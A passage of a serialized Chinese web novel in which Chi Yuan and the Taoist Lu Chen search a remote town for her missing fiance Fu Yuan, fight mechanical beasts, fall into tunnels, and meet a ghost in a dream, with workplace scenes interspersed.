突然,她脑海中闪过几个身影。那个神秘莫测的鬼影,总是在黑暗中若隐若现;陆辰,住在那座古老而阴森的古堡里,周身散发着让人捉摸不透的气息;还有里亚,行踪诡秘,仿佛来自另一个世界。他们几个都属于那种特殊的存在,在那神秘未知的领域里,各自拥有着独特的能力,只是不知道究竟谁更胜一筹。 可是,现在想要订机票前往鬼影所在的那座山,显然是不可能的。时间紧迫,而且手续繁琐,根本来不及。至于里亚,更是神龙见首不见尾。以往若不是他心血来潮主动现身,池鸢就算踏破铁鞋,也很难觅得他的踪影。 思来想去,似乎只有陆辰是目前最有可能找到的。池鸢咬了咬牙,心中做了决定,转动方向盘,朝着陆辰的古堡方向驶去。 车子在蜿蜒的公路上行驶了许久,终于抵达了那座矗立在荒郊的古堡前。月光洒在古堡斑驳的外墙上,勾勒出它沧桑而神秘的轮廓。池鸢深吸一口气,走上前去,抬手在那扇厚重的大门上敲了几下,发出沉闷的声响。 “吱呀——”一声,大门缓缓打开,陆辰那高大的身影出现在门口。他的目光落在池鸢脸上,瞬间闪过一丝诧异,原本平静的眼眸中泛起一抹疑惑的涟漪。 “你是谁?”陆辰的声音低沉而冰冷,仿佛带着古堡中的寒意。 池鸢微微一怔,随即反应过来,说道:“我是池鸢,我的脸变回来了,这期间具体发生了很多事,以后再慢慢和你讲。” 陆辰微微皱眉,上下打量了池鸢一番,侧身让她进了古堡。 踏入古堡的那一刻,熟悉的阴暗气息扑面而来。池鸢定了定神,鼓起勇气说道:“我未婚夫不见了。” “原来你订婚了。”陆辰的语气波澜不惊,听不出太多情绪。 “是这样。”池鸢咽了咽口水,努力让自己镇定下来,接着便把在飞机上发生的诡异事件,一五一十地告诉了陆辰。在讲述的过程中,她的眼神里满是焦虑与不安,声音也微微颤抖。 陆辰听闻池鸢的遭遇,没有多言,转身走向屋内的一个古朴木柜,打开柜门,从中小心翼翼地捧出一个泛着古朴光泽的罗盘。 这罗盘看似普通,实则暗藏玄机,是陆辰在那神秘领域探寻多年的得力助手。他双手托着罗盘,口中念念有词,只见罗盘上的指针飞速旋转,随后缓缓停下,陆辰神色凝重,在纸上写下一串数字。 “你去找他吧。”陆辰将写着数字的纸条递给池鸢。 池鸢一脸茫然地接过纸条,看着上面的数字,眉头拧成了一个“川”字,“我看不懂。” 陆辰微微叹了口气,耐心地走到她身边,指着纸条上的数字,逐字逐句地教她,“这串数字对应着经纬度,你把它输入到导航设备里,就能找到位置。” 在陆辰细致的讲解下,池鸢终于明白了其中的奥秘,赶忙拿出手机,按照陆辰所说的步骤操作起来。 “这地方好远,古拓镇。”池鸢看着手机上显示的目的地,不禁脱口而出。她满心疑惑,傅渊怎么会回到这个地方?那个遥远又陌生的小镇,到底隐藏着什么秘密,会把傅渊吸引过去? 陆辰敏锐地捕捉到池鸢脸上的忧虑和为难,轻声问道:“需要我帮助你吗?” 池鸢像是抓住了救命稻草一般,眼中闪过一丝希望的光芒,急切地说道:“你可以陪我去吗?” 陆辰一时语塞,心中暗自纠结。倒不是完全不能陪池鸢走这一趟,只是最近他和楚云朵来往极为频繁。楚云朵身上有着一种独特的魅力,吸引着陆辰不由自主地靠近。 他们一同探索神秘古籍,交流着那些古老而晦涩的知识,相处的时光总是让陆辰感到无比惬意和充实。若是此刻陪池鸢去古拓镇,势必要搁置与楚云朵的诸多计划,而且也不知这一去要耗费多长时间,会发生什么变故。 第159章 神叨 陆辰满心无奈,可面对池鸢的请求,实在无法推脱,最终也只好点头答应下来。 池鸢见陆辰答应,瞬间来了精神,动作麻溜地当场就给他买了一张机票。两人简单收拾后,便匆匆朝着目的地赶去。 在飞机上,陆辰满心好奇,终于忍不住开口:“池鸢,我发现你的脸完全好了啊。” 池鸢听到这话,神色微微一滞,一提到之前的遭遇,那些记忆便如潮水般涌来,她忍不住想要侃侃而谈。可目光扫过周围正在休息或轻声交谈的乘客,意识到在飞机上高声谈论不太合适,于是急忙捂住嘴巴,只小声吐出三个字:“纸片人。” 说罢,还带着探究的目光看向陆辰,补了一句:“跟你有关系吗?”陆辰连忙摇头,池鸢见状,心里暗自松了口气,原本还以为此事和陆辰有关呢。 几个小时后,飞机稳稳降落在目的地所在城市的机场。然而,他们的旅程并未结束,因为目的地是一个偏远小镇,两人又马不停蹄地转乘大巴。 大巴在蜿蜒的公路上颠簸前行,窗外的景色逐渐从城市的繁华变为乡村的质朴。抵达县城后,他们又换乘摩托,沿着更加崎岖的小路继续进发。 一路尘土飞扬,好不容易到了距离小镇较近的村口,最后竟还得乘坐牛车,那缓慢的行进速度,让陆辰和池鸢心里满是焦急。 经过一路折腾,他们终于抵达了那个心心念念的小镇。可眼前的景象却让两人傻了眼,周围一片荒芜,入目皆是光秃秃的景象,什么都没有。池鸢满脸疑惑,忍不住嘟囔:“是不是找错地方了?” 陆辰则抱着手臂,眉头紧皱,一脸笃定地说:“不可能啊,按照线索就是这里。”尽管满心困惑,两人还是决定在附近四处摸索,试图找到一些隐藏的线索。 两人在荒芜之地来回踱步,仔细搜寻着每一处可能藏着线索的角落。烈日高悬,炽热的阳光毫无遮挡地洒下,没一会儿,他们的额头就布满了细密汗珠。 突然,池鸢被什么东西绊了一下,整个人向前扑去。陆辰眼疾手快,一把扶住她。池鸢稳住身形,有些懊恼地看向脚下,发现是一截半埋在土里的破旧木桩。她刚想抬脚离开,却注意到木桩上刻着一些奇怪符号。 “陆辰,快来看!”池鸢兴奋地招呼道。 陆辰凑近,两人端详许久,也无法辨认这些符号的含义。 就在他们绞尽脑汁时,一阵微风吹过,陆辰敏锐地捕捉到风中夹杂着一丝若有若无的奇怪声响,像是低沉的吟唱又像是机械的嗡鸣。他顺着声音的方向走去,池鸢紧跟其后。 在一片看似普通的灌木丛后,陆辰发现地面有一处微微下陷,像是被什么重物长期压迫。他蹲下身子,拨开灌木丛,徒手开始刨土。池鸢见状,也加入进来。不一会儿,一个金属质地的圆盘露出一角,上面同样刻满神秘符号。 正当他们试图将圆盘完全挖出时,周围突然传来一阵沙沙声,像是有什么东西在快速靠近。 两人警觉地站起身,只见一群身形巨大、模样怪异的机械兽从四面八方围拢过来,它们的眼睛闪烁着幽绿色光芒,嘴里发出低沉咆哮,锋利的爪子在地面划出一道道痕迹,一场危机就此降临...... 陆辰双手迅速从背包里抽出自制的电磁干扰器,这是出发前他特意准备的应对未知危险的武器。他大拇指快速按下启动按钮,细密的电流声瞬间响起。 池鸢见状,也不甘示弱,双手握紧从黑市购得的震荡短棍,身体紧绷,摆出防御姿态。两人背靠背,眼神坚定地注视着不断逼近的机械兽群。 陆辰双手微微颤抖,却努力保持稳定,将电磁干扰器对准为首的机械兽。随着干扰器功率开到最大,那机械兽的行动明显迟缓,原本灵活的关节变得卡顿,幽绿的眼眸也开始闪烁不定。 池鸢瞅准时机,双手发力,挥动震荡短棍狠狠砸向一只靠得最近的机械兽。短棍与机械兽外壳碰撞,发出沉闷声响,溅起一阵火花。 机械兽群被两人的反抗激怒,嘶吼着加快了进攻节奏。陆辰腾出一只手,从口袋掏出烟雾弹,用力掷向兽群中央。 瞬间,白色烟雾弥漫开来,模糊了机械兽的视线。他拉着池鸢的手,在烟雾的掩护下,朝着一个方向狂奔。身后机械兽的咆哮声逐渐远去,可陆辰知道,危险并未彻底解除。 池鸢满脸惊愕,眼睛瞪得滚圆,直勾勾地盯着陆辰手中那造型精巧、闪烁着科技光芒的电磁干扰器,结结巴巴地开口:“我一直只知道你是个道士,怎么也想不到你居然还能掏出这种现代科技玩意儿!” 陆辰嘴角微微上扬,眼中闪过一丝戏谑,伸出食指,指尖轻点了一下自己的胸口,挑眉反问道:“你以为?” 池鸢下意识地往后退了半步,上下打量陆辰一番,心一横,索性实话实说:“我之前还以为你是个神神叨叨的鬼呢!” 这话一出口,陆辰先是一愣,紧接着仰头大笑起来,爽朗的笑声在这片危机四伏的荒野上肆意回荡。平日里,像他这样既痴迷道家玄术,又热衷于钻研现代科技,行事风格不按常理出牌的人,没少被人挖苦讽刺。 时间久了,陆辰对这些冷嘲热讽也就习以为常,所以池鸢的话他只是左耳进右耳出,根本没往心里去。 陆辰收敛了笑容,神色变得严肃起来,抬眼望向四周,那些被烟雾暂时阻隔的机械兽隐隐约约的身影还在晃动。 他暗自庆幸自己平日里没少下功夫,不仅精通道家的奇门遁甲、驱邪镇煞之术,还自学了不少现代科技知识,捣鼓出这些实用的小玩意儿。要不然,就凭眼前这些凶悍的机械兽,他和池鸢可就真的麻烦大了。 要是傅渊此刻看到陆辰,现代科技产物,对抗机械兽,保不齐一向严肃刻板的脸上,定会瞬间浮现出难以置信的神情,眼睛瞪得如同铜铃一般,满是不可置信。 第160章 默 陆辰在周围一番折腾后,只觉疲惫如潮水般涌来,四肢都透着难以言说的酸胀。此时,他迫切地想在附近寻一处能好好歇脚的地方,然而目光所及,方圆几里之内,皆是一片荒芜,根本不见任何住宿的场所。 无奈之下,他只能将主意打到了搭帐篷上,便对池鸢提议道:“咱们搭帐篷吧。”池鸢看着陆辰略显疲惫的面容,眼中满是担忧。 陆辰像是看出了她的心思,轻声安慰:“你不用担心我,我经常在外面露宿,就当是家常便饭了。而且为了帮你找人,在这住上几天,对我来说完全没问题。” 事实上,陆辰考虑得十分周全。他提前将车和生活用品都租得一应俱全,甚至还细心地准备了大量的食物和药品,以备不时之需。在这荒野之中,生起一堆火,煮上几包方便面,倒也不是什么难事。 池鸢捧着那碗热腾腾的方便面,吃着吃着,思绪却飘回到了从前。那时,她和盛明栩一同前往条件极为苛刻的北境。 北境的环境虽说恶劣至极,但她却满心都是新奇与兴奋,一路上像玩乐一般尽情欣赏着独特的风光。可如今身处此地,别说是游玩赏景了,她的心里竟无端生出几分毛骨悚然之感。 到了晚上,池鸢躺在帐篷里,翻来覆去难以入眠,心里甚至冒出了去车里睡的念头。陆辰似乎猜到了她的想法,赶忙提醒:“车里空间封闭,氧气不足,要是你睡着了,万一出点什么事,那可就麻烦了。” 池鸢听后,只好打消了这个念头,就这么迷迷糊糊,睡一阵醒一阵地熬到了天亮。 第二天一大早,两人简单收拾后,便又继续在四周仔细搜索起来。然而,一上午的时间过去,他们依旧毫无收获,没有找到任何有用的线索。 到了中午,两人去附近的餐馆吃饭时,池鸢的情绪明显有些低落,甚至萌生出了放弃的想法,她认真地对陆辰说:“我觉得或许报警才是更好的办法。” 陆辰见池鸢还要接着说报警的事,赶忙出声堵住了她的话:“不可。”这简短有力的两个字,带着不容置疑的意味,让池鸢一愣。 “为什么啊?”池鸢满心疑惑,实在不明白陆辰为何如此坚决地反对报警。 然而,陆辰根本不给她把话说完的机会,紧接着说道:“总之你别问那么多,我自然是算到了,你不可以那么做。”他神色严肃,语气笃定,似乎背后有着十足的把握和缘由,只是不便言说。池鸢看着陆辰这般模样,虽满心困惑,但也只好乖乖听话。 两人稍作休息后,又继续在附近四处寻找起来。陆辰一直紧紧握着他的罗盘,神色专注地观察着四周,不放过任何一个细微之处。他时而驻足凝视,时而缓慢踱步,不放过罗盘上任何一点微妙的变化。然而,一天的时间转瞬即逝,他们依旧一无所获,这已经是毫无结果的又一日了。 池鸢看着周末即将结束,自己还要回去上班,不禁有些为难。她踌躇了一下,对陆辰说道:“你先回去,我在这里继续找。”她心里清楚,找人的事不能轻易放弃,可工作也同样不能不顾。 “怎么好意思呢。”池鸢本以为陆辰会拒绝,可陆辰却没有丝毫犹豫,坚持让她先回去。池鸢实在无法拒绝陆辰这份善意,最终还是决定先回城里。 回到公司上班,池鸢遇见了许久不见的何璃。何璃满脸笑意地主动和她打招呼:“前辈,你落下的工作我都帮你完成了,还有主管那边,我也帮你打理好了。”池鸢一听,心里明白何璃所说的打理,肯定费了不少心思。后来她才听说,何璃给主管送了好些贵重的礼物,甚至还帮主管接送小孩上学,池鸢不禁感叹,何璃可真是辛苦了。 何璃看着池鸢,微微低下头,带着几分愧疚说道:“之前的事,实在不好意思。”池鸢看着何璃这副模样,想着她也帮自己处理了不少工作上的难题,到嘴边的责备的话,终究还是咽了回去。 池鸢微微点头,挤出一丝笑容,“过去的事就别提了,这次多亏有你帮忙。” 何璃眼中闪过一丝不易察觉的得意,嘴上却谦逊道:“前辈太客气了,都是应该的。” 傍晚,二人还一起吃了晚餐,何璃还带了她的男朋友一起过来。 沈默和池鸢许久不见,就听说池鸢经常不上班,让他家何璃忙得晕头转向。他端起酒杯,“前辈,你们这工作可真不轻松。” 何璃赶紧拉了拉沈默的衣袖,脸上堆着笑打圆场:“哎呀,你别这么说,前辈肯定是有急事才这样的。” 可那眼底的笑意却藏不住,似乎很享受男友抱怨公司的样子。 池鸢微微皱眉,心里有些不悦,但还是尽量保持礼貌,“确实是家里出了些状况,给大家添麻烦了,之后我会多承担工作的。”说完,她也端起酒杯,轻抿一口,试图缓解这尴尬的气氛。 沈默又接着说:“没事,反正何璃以后也会有急事的。” 这话一出口,池鸢拿着酒杯的手微微一顿,一时竟不知该如何回应。何璃脸上的笑容也僵了一下,她没想到沈默会说出这样的话,眼神里闪过一丝埋怨,轻轻踢了踢沈默的脚,示意他别再说了。 池鸢稳了稳心神,放下酒杯,看向沈默,语气依旧平和:“大家在职场上难免都会遇到些突发状况,互相帮衬也是应该的。之前多亏了何璃帮忙,等我处理好家里的事,肯定会好好回报这份人情。”她心里清楚,沈默这话看似无心,实则意有所指,不过她也不想在这种场合把气氛弄得太僵。 沈默却像是没听出池鸢话里的意思,还在继续说道:“我看啊,你们公司的制度也该改改了,不能总让一个人承担这么多。就说天天加班到那么晚,身体都快吃不消了。”他一边说着,一边拍了拍何璃的肩膀,脸上满是心疼的表情。 与此同时,在那片搜寻的荒郊野外,陆辰正坐在帐篷前,借着昏黄的灯光反复研究着罗盘。突然,罗盘指针毫无预兆地剧烈颤动起来,陆辰瞬间精神一振,他起身朝着指针指示的方向快步走去。夜色浓重,四周寂静得有些诡异,只有陆辰急促的脚步声打破这份宁静。 走了许久,陆辰在一处山洞前停下,罗盘指针在此时停止了晃动,稳稳地指向山洞深处。陆辰小心翼翼地走进山洞,一股潮湿腐朽的气味扑面而来。他打开手电筒,在山洞里仔细搜寻。 池鸢深吸一口气,正准备再次解释,这时,她的手机突然震动起来。是陆辰发来的消息,说有了新的发现,让她尽快过去。池鸢看到消息,心中一喜,像是找到了摆脱这场尴尬饭局的出口。她抬起头,看着沈默和何璃,歉意地说道:“实在不好意思,家里又有点急事,我得先走一步。这顿饭我来结账,下次再好好赔罪。” 不等沈默和何璃回应,池鸢便迅速起身,拿起外套,快步离开了餐厅。 而何璃看着池鸢离去的背影,眼中闪过一丝不甘,小声嘟囔道:“前辈也不容易啊,这么多事。” 沈默则撇了撇嘴,默不作声的抽了根烟。 第161章 悔 暮色沉沉,残阳如血,将古拓镇的轮廓勾勒得愈发神秘。池鸢心急如焚,一路快马加鞭,赶到古拓镇时,衣袂凌乱,发丝也被汗水浸湿贴在脸颊。而陆辰,早已在镇外的路口等候多时,他身姿挺拔,目光深邃,看见池鸢的那一刻,微微颔首示意。 池鸢来不及多言,立刻跟着陆辰朝着镇郊走去。一路上,风声在耳边呼啸,四周是一片死寂的旷野,荒草随着微风轻轻摇曳。很快,他们来到一处偏僻之地,陆辰停下脚步,指着地上一个隆起的土包,神色凝重。池鸢定睛一看,只见那土包下,赫然埋着一口棺材。 池鸢的眼睛瞬间瞪得滚圆,心脏猛地一缩,脑海中不可抑制地浮现出傅渊的面容。难道,傅渊就被埋在这冰冷的棺材里?她下意识地向前迈了一步,双手微微颤抖,刚准备伸手去打开那口棺材,想要一探究竟。 就在这时,地面毫无征兆地剧烈震动起来。震动来得极为突然,且怪异的是,似乎仅限他们脚下这片区域。池鸢一个踉跄,差点摔倒,她惊恐地看向四周,只见脚下的土地开始出现一道道狰狞的裂缝。陆辰的脸色也瞬间变得煞白,他迅速侧身,试图稳住身形。 裂缝越来越大,池鸢和陆辰在劫难逃,双双陷了进去。池鸢的心提到了嗓子眼,她拼命挥舞着双臂,想要保持身体平衡,可脚下的泥土不断松动滑落,根本无法着力。随着身体的下陷,她惊恐地尖叫一声,下意识地扒着土坡,指甲都因用力而泛白,竭尽全力想要爬上去。 陆辰反应迅速,他瞅准时机,猛地一蹬腿,加快速度跳到了旁边稳定结实的地面上。他顾不上喘口气,立刻转身,伸出手,大声喊道:“快,抓住我的手!”声音在呼啸的风声中显得格外坚定。 池鸢慌乱中抬起头,看到陆辰伸来的手,仿佛抓住了救命稻草。她拼尽最后一丝力气,努力伸直手臂,终于好不容易才抓住了陆辰的手。陆辰紧紧握住她的手,手臂上青筋暴起,猛地一拽,将池鸢拉出了危险区域。 两人瘫坐在地上,大口大口地喘着粗气。池鸢拍着胸口,心还在胸腔里疯狂跳动,她抬手擦了擦脸上混合着汗水和泥土的污渍,心有余悸地说道:“好险,差点就……” 两人瘫坐在地上,大口大口地喘着粗气。池鸢拍着胸口,心有余悸地说道:“好险,差点就……”刚刚放松了没一会儿,突然,池鸢身后的泥土毫无征兆地开始凹陷,还没等她反应过来,整个人便随着塌陷的泥土直直掉落下去。 “池鸢!”陆辰见状,脸色骤变,惊呼出声。情况危急,根本来不及多想,陆辰毫不犹豫地纵身一跃,跟着跳进了那个深不见底的黑洞。 好在洞穴并非深不见底,陆辰落地后,感觉双腿一阵酥麻。他迅速环顾四周,发现池鸢正半躺在一旁,脸上写满了惊恐与茫然。 更让他们诧异的是,这个看似普通的洞穴底部,竟然贯穿着错综复杂的隧道。幽暗中,那些隧道如神秘巨兽张开的大口,散发着未知的气息,深邃得让人不敢轻易靠近。 池鸢的脑海中瞬间浮现出傅渊的身影,心急如焚,一想到傅渊或许就在这些隧道深处,她便像发了疯似的,不假思索地抬脚就要往里冲,那架势好似哪怕前方是刀山火海也无法阻挡她分毫。 就在池鸢即将踏入隧道的千钧一发之际,陆辰眼疾手快,迅速侧身,张开双臂,稳稳地挡在了她的身前。他眉头紧蹙,脸上满是担忧与严肃,声音急切且坚定:“先别冲动!” 池鸢被这突如其来的阻拦弄得有些恼怒,瞪大了眼睛,带着几分质问的口吻喊道:“你干什么?别拦我!傅渊可能就在里面,我必须进去找他!” 陆辰并没有因池鸢的情绪而退缩,他深吸一口气,努力让自己的语气平稳下来,耐心解释道:“你看这隧道盘根错节,实在太过复杂。你就这么贸然冲进去,一旦迷路,后果不堪设想,更别说万一不小心碰到什么危险的东西,那可就麻烦了。” 说着,陆辰抬手指向他们刚刚掉落的方向,继续说道:“就像我们上面看见的那机械兽,保不准下面的隧道里也藏着一些。要是真遇上了,在这陌生又复杂的环境里,我们根本没有还手之力,到时候不但救不了人,连自己都得搭进去!” 何璃紧盯着手机屏幕,上面是前辈刚刚发来的工作消息,她的手指无意识地在屏幕边缘轻轻敲击,眼神里透着几分不安与焦急。办公室里的灯光有些晃眼,她却浑然不觉,满心都是自己先前那些冒失行为。 在公司时,她总爱开前辈的玩笑。那些看似轻松有趣的调侃,本是想活跃下气氛,也能拉近和其他同事的距离,让自己迅速融入集体。每次玩笑话一出口,同事们的阵阵笑声让她很有成就感,久而久之,这些玩笑成了她日常交流的习惯,哪怕在前辈面前,也收不住。 此刻,她的脑海中不断浮现出前辈之前欲言又止的神情,心里一阵阵地泛起苦涩与后悔。她悄悄侧过头,看向一旁正在整理文件的沈默,嘴唇动了动,犹豫片刻后,还是轻声开了口:“我们之前是不是对前辈太没分寸了?以后,我们应该对前辈好一点,多给她些关爱,你说呢?” 何璃的声音里带着一丝不易察觉的愧疚,像是在向沈默询问,又像是在自我反思。 沈默闻言,停下手中的动作,轻轻点了点头,脸上闪过一丝不自在:“我懂你的意思,今天是我话说重了。其实我也不是故意的,就是那会儿莫名有些烦躁,没控制住情绪。”他微微皱眉,语气里带着几分懊恼。 顿了顿,沈默像是想起什么,神色复杂地继续说道:“不过,池鸢请假确实太频繁了。公司处处都照顾她,虽说大家都心照不宣,还不是因为她背后的关系硬。换做别人,哪能有这样的待遇?” 他的声音压得很低,带着一丝难以掩饰的不甘和无奈,眼神里也透露出些许不满,说完便又低下头,继续整理文件,像是想把这些烦心事都一并埋进文件堆里。 第162章 形 昏暗的地洞之中,弥漫着潮湿与腐朽混合的气味。池鸢和陆辰被困于此,正绞尽脑汁思索着脱困之法。 陆辰在狭窄逼仄的空间里四处探寻,不放过任何一处角落,突然,他心中涌起一阵好奇,转头看向池鸢,开口问道:“池小姐,你千辛万苦来到这里,到底是在寻找什么人呢?” 什么人?池鸢微微一怔,心想自己之前难道没提过吗?不过事到如今,解释一番也没什么坏处。她轻轻叹了口气,缓缓说道:“我找的是傅渊,他……”池鸢将自己与傅渊之间的关系,仔仔细细地向陆辰讲述了一遍,言语间不自觉流露出几分担忧与关切。 陆辰听完,若有所思,紧接着又抛出一个问题:“他平日里会和其他女孩有往来吗?不然怎么会突然来这地方。”池鸢闻言,秀眉微微蹙起,脑海中迅速回忆着关于傅渊的点点滴滴。 一直以来,外界都传言傅渊将全部心思都扑在了家族事业上,虽说偶尔也会和女性相处,但据她所知,那些都只是极为普通、友好的朋友关系罢了。 “他和女性,确实只有极为友好的朋友关系。”池鸢肯定地回答道。 可话一出口,她又像是突然想起了什么,补充道:“不过,像冯宛,她知晓傅渊与我的关系,也清楚我和盛明栩的事情,她会不会把自己的猜测告诉傅渊呢?要是这样的话,傅渊很容易就会胡思乱想。”想到这儿,池鸢的眼中闪过一丝忧虑。 陆辰一边在周围摸索,一边继续追问:“那你觉得,他会有喜欢的女孩吗?” 池鸢轻轻摇了摇头,语气笃定:“没听说过。”陆辰又问:“那他会找其他女人吗?”池鸢再次摇头,说道:“他的心思似乎都放在工作上,应该不会有这些心思。” “陆先生,还没找到出去的办法吗?”等待的时间总是格外漫长,池鸢见陆辰许久都没有回应,忍不住出声询问。 陆辰没有立刻作答,而是继续向地洞深处探寻。随着他的深入,周围的环境愈发诡异,原本还有些窸窣的声响,此刻竟突然消失得无影无踪,安静得让人心里直发毛。 而对于傅渊的踪迹,之前明明还有些许线索可寻,如今却仿佛陷入了一团迷雾,让人摸不着头脑。 如今,局势愈发混沌不明,不仅傅渊的踪迹如石沉大海般难觅,就连陆辰和池鸢也被困于重重迷雾之中,脱身不得。 池鸢心力交瘁,双腿一软,直接坐在了满是泥泞的坑洼里。连日来的奔波与焦急,让她疲惫不堪,困意如潮水般阵阵袭来。回想起昨夜,满心的担忧与不安让她辗转反侧,根本没睡好。此刻,她实在支撑不住了,缓缓闭上双眼,很快便坠入了梦乡。 不知过了多久,池鸢只觉自己仿佛置身于一片无尽的黑暗之中,四周静谧得可怕,仿佛一切生命的迹象都被吞噬。 她下意识地转过头,只见一缕诡异的黑烟缓缓升腾而起,在黑烟之下,竟有一个熟悉的身影若隐若现。随着那身影逐渐清晰,池鸢惊恐地发现,那竟然是一个面容可怖的鬼影,而且鬼影的脸上还多了一道触目惊心的疤痕,在昏暗的环境中显得格外狰狞。 池鸢瞬间清醒,心中暗叫不好,怀疑自己是不是在睡梦中误入了歧途。她来不及多想,转身拔腿就跑,然而,还没跑出几步,就被那鬼影如鬼魅般闪现拦下了去路。 “你怎么又回来了?”鬼影发出一阵阴森森的声音,仿佛从九幽地狱传来,直叫人脊背发凉。 池鸢强忍着内心的恐惧,鼓起勇气说道:“我来找我的未婚夫,傅渊。”她的声音在黑暗中微微颤抖,却又带着一丝不容置疑的坚定。 池鸢心急如焚,脱口问道:“他是在哪丢的?”此刻,她满心都是找到傅渊的念头,全然顾不上眼前鬼影带来的恐惧。 “古拓镇。”鬼影声音沙哑,像砂纸摩擦般刺耳。 池鸢眉头紧蹙,脑海中迅速回忆着古拓镇的种种,可思绪刚起,就被鬼影打断。“你看我像是出去过的样子?” 鬼影反问道,声音里带着几分自嘲。他身形虚幻,脸上那道疤在黑暗中愈发可怖,这般模样,要是出去,恐怕瞬间就能把人吓得魂飞魄散。 池鸢张了张嘴,却一时语塞,不知该如何作答。她打量着四周的黑暗,满心焦虑,既担心傅渊的安危,又对眼下这诡异的处境感到无助。 尽管这鬼影模样骇人,周身还散发着诡异气息,但池鸢心里清楚,它似乎没有伤害自己的意图。回想起之前与它的短暂对话,虽说言语阴森,可也没做出任何攻击性的举动。 这么一想,池鸢高悬着的心稍稍落了下来,紧绷的神经也放松了些许。她深吸一口气,试图让自己镇定下来。 她缓缓转过身,黯淡的光线中,只见鬼影一脸惆怅,那表情仿佛凝聚了无尽岁月的哀伤。 池鸢望着它,心中不禁泛起一丝同情。 能不难过吗?被困在这暗无天日的地方,日复一日,年复一年,不能出去感受外面世界的阳光与自由,换做是谁,恐怕都难以承受这份孤寂与绝望。 池鸢突然意识到,这个看似恐怖的存在,实则也是个被困住的可怜家伙。也许,在它那狰狞的外表下,藏着一颗和自己一样渴望解脱的心。这么想着,池鸢对鬼影的恐惧又淡了几分,取而代之的是一种同病相怜的复杂情绪。 鬼影敏锐地察觉到池鸢的目光一直停留在自己身上,那幽幽的声音再度响起:“你,竟不害怕?”它的语调里带着几分疑惑,似乎对池鸢的镇定感到十分意外。 池鸢嘴角微微上扬,露出一抹略带疲惫却又从容的笑容,轻轻摆了摆手说道:“我怎么会害怕你呢。当然了,你要是能变成人形,跟你交流起来,我会更自在一些。” 不知为何,此刻的池鸢心里笃定,眼前这神秘莫测的鬼影并无恶意。 说时迟那时快,话音刚落,只见鬼影周身一阵虚幻的光影闪烁,瞬间换回了人的样子。 原本萦绕周身的诡异气息瞬间消散不少,那股神秘的压迫感也随之减弱。池鸢微微一怔,心中感叹,这转变之后,竟觉得眼前的“人”多了几分真实感,仿佛刚才那惊悚恐怖的一幕只是一场错觉。 第163章 助 池鸢目光恳切地看向眼前的鬼影,再次提议道:“你能不能走出这个洞呢?”她的声音在空旷的洞穴里回荡,带着一丝期盼。 鬼影身形虚幻,轻轻晃了晃脑袋,那飘忽的动作仿佛随时都会消散在这黑暗之中。他用低沉而沙哑的声音缓缓说道:“我从未出去过,也不愿出去。”这简单的话语里,透着一种深深的抗拒与执拗。 池鸢微微皱眉,眼中闪过一丝焦急,接着说道:“可是,外面有大片大片密集的森林,树木繁茂,说不定藏着无数的秘密。”她试图用外面世界的美好来打动鬼影。 鬼影自然明白池鸢的心思,她不过是一心想寻找自己的未婚夫罢了。于是,他冷冷地回应道:“你自己出去找不就行了。”那语气里没有一丝温度,仿佛对世间万物都漠不关心。 池鸢无奈地叹了口气,解释道:“我不是不想出去,实际上我本来就在外面,只是如今陷入了沉睡,被困在这梦境之中无法挣脱。”她的眼神里满是无奈与迷茫,仿佛被一层无形的迷雾笼罩。 鬼影再次摇头,他的态度坚决得如同这洞穴里冰冷的岩石。他在这黑暗中独自存在了太久,早已习惯了孤独与自我,是绝不会帮别人做任何事情的。毕竟,他一直呆在这里,总是有自己坚守的东西,哪怕那东西旁人无法理解,但对他而言,却是无比重要的存在。 池鸢仰望着洞口,只见那里渐渐透出熹微的光,像是被一层薄纱轻柔地覆盖。她心想,莫不是天快要亮了?可随即,满心的疑惑如潮水般涌来,为什么自己还没有醒过来?难道要一直这样沉沉地睡下去?陆辰在现实世界里,也用尽了办法,却怎么也叫不醒她。 池鸢满心焦急,转身看向鬼影,眼中满是求助的神色,急切地问道:“鬼影大人,我究竟要怎么做才能退出这个梦境呢?” 鬼影身形微微晃动,那声音仿佛从遥远的地方传来,带着几分神秘:“这个嘛,你只要在心里默念咒语,应该就可以了吧。” “咒语?”池鸢眼中闪过一丝希望的光亮,可紧接着又被疑惑填满。 鬼影缓缓伸出那若有若无的虚幻手臂,不知从何处掏出一本密简,递向池鸢,说道:“咒语就在这里。” 池鸢急忙接过,目光急切地在密简上扫视。可那上面的字符,弯弯曲曲,晦涩难懂,像一条条神秘的符号,组成了一道无法跨越的沟壑。她反复看了几遍,眉头越皱越紧,满心无奈,“我……我看不懂。” 鬼影脸上露出一脸惊奇的神色,那飘忽的五官似乎都因这意外的状况而微微扭曲,仿佛在说:这都看不懂?还需要我来教?他心里想着,密简上的东西可是极为隐秘,对外是不能随意传授的。如此一来,若要教导,池鸢还得先拜师才行。 池鸢似乎也察觉到了鬼影的心思,没有丝毫犹豫,“扑通”一声,双膝跪地,直直地跪在了鬼影面前。在她心中,拜师倒不是什么难以接受的大事,虽然,她内心深处对学习这些神秘的东西也并没有太大的渴望,但为了能尽快从这梦境中出去,找到未婚夫陆辰,此刻也顾不了那么多了。 鬼影瞧着跪在地上的池鸢,并没有立刻承认她的徒弟身份。他沉默片刻,周身那股神秘的气息微微涌动,最终还是开了口:“罢了,就破例一次。先帮你出去,下次,可别再回来了。”那声音低沉,带着不容置疑的坚决。 池鸢望着鬼影冷峻的表情,心里不禁犯起了嘀咕,这突然的转变,是预示着要发生什么大事了吗?她还没来得及细想,只觉鼻子一酸,“阿嚏”打了个喷嚏。刹那间,眼前一阵天旋地转。 再一睁眼,温暖的阳光洒在脸上,刺得她微微眯起双眼。陆辰一脸关切,赶忙伸手扶着她起来,语气里满是担忧:“池小姐,你睡了好久,怎么叫都叫不醒你。” “嗯。”池鸢轻声应道,目光缓缓打量着四周,发现自己还在地坑之中。她满心无奈,虽说从梦境里出来了,可出去之后依旧毫无办法,心心念念要找的人,还是不见踪影。 池鸢满心忧愁,长叹了一口气,只觉得实在是毫无办法。陆辰在一旁掐指算了算时辰,神色中带着几分笃定,说道:“这个时候,按道理应该会有转机出现。”然而,他的话并未让池鸢感到多少宽慰。 池鸢缓缓抬起双手,捂着脸,满心都是对傅渊失踪一事的担忧,完全想不出该如何向众人交代。她和傅渊虽有婚约在身,可两人相处一直守礼,连亲密的举动都不曾有过。谁能料到,这场婚事如今竟走到了这般无法收场的境地。 往昔二人相处的画面,此刻不受控制地在她脑海中不断浮现。傅渊对待她,向来都是关怀备至、体贴入微。 